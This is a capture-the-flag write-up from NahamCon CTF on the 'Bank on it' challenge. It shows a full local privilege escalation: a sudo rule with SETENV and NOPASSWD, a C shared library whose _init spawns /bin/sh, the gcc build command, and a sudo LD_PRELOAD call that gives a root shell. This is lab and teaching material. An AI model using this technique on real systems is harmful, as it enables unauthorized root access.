bank on it
Published: 2021-03-15 07:28:38

![Screenshot_2021-03-14 NahamCon CTF](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1aieunlhkseejujyyz6q.png)
 To log into the box use the `ssh` keys found [here](https://github.com/gusrodry/development/tree/master/config/.ssh) 

I had a lot of fun doing the `NahamConCTF`, thanks everyone who was involved. This is a small writeup for the **Bank on it** challenge. 

**Summary:**
The current user can execute the `/opt/banking/bank` binary using sudo, however the `SETENV` option is enabled, which helps persist environment variables when using `sudo` since it starts a session, with that we can use `LD_PRELOAD` to load a malicious function and get a shell as root. 

Credit to: [https://sumit-ghosh.com/articles/hijacking-library-functions-code-injection-ld-preload/](https://sumit-ghosh.com/articles/hijacking-library-functions-code-injection-ld-preload/) 

Find out if the user can run anything as root we can use `sudo -l` , it appears that they can run the `/op/banking/bank` binary as root, with no password, we also see the `SETENV` which will come in handy later.

```html
$ sudo -l
Matching Defaults entries for gus on banking-on-it-88199b44846b0f72-65bbbf7d6c-82b95:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User gus may run the following commands on banking-on-it-88199b44846b0f72-65bbbf7d6c-82b95:
    (root) SETENV: NOPASSWD: /opt/banking/bank
```

`SETENV` is dangerous, it allows us to persist environment variables when using `sudo`. 

Since `SETENV` is specified in the `sudoers` file we can use this to load an environment variable that will allow us to hijack where shared libraries are used first - and although we could hijack one of the functions being used directly in the binary to make sure this works we'll be hijacking the `_init` function, more info [here](https://www.linuxquestions.org/questions/programming-9/_start-_init-and-frame_dummy-functions-810257/). 

```c
#include <unistd.h>

void _init() {
    char *argv[] = {"/bin/sh", 0};
    execve(argv[0], &argv[0], NULL);
}
```

We'll name this `shlib.c` and now compile it like 

`gcc -shared -fpic -nostartfiles shlib.c -o [shlib.so](http://shlib.so)` 

You should now have a `[shlib.so](http://shlib.so)` file which we'll be using to hijack the `_init` function in the binary. 

Now let's use `LD_PRELOAD` 

- The `LD_PRELOAD` trick exploits functionality provided by the dynamic linker on Unix systems that allows you to tell the linker to bind symbols provided by a certain shared library before other libraries.

    [http://www.goldsborough.me/c/low-level/kernel/2016/08/29/16-48-53-the_-ld_preload-_trick/](http://www.goldsborough.me/c/low-level/kernel/2016/08/29/16-48-53-the_-ld_preload-_trick/)

- If you set `LD_PRELOAD` to the path of a shared object, that file will be loaded before any other library (including the C runtime, [libc.so](http://libc.so/)).

    [https://stackoverflow.com/questions/426230/what-is-the-ld-preload-trick](https://stackoverflow.com/questions/426230/what-is-the-ld-preload-trick)

Let's execute the binary like this:

`sudo LD_PRELOAD=/home/gus/shlib.so /opt/banking/bank`

![root](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rw405ynjdpfcz5qezrgq.png)

And we are now root!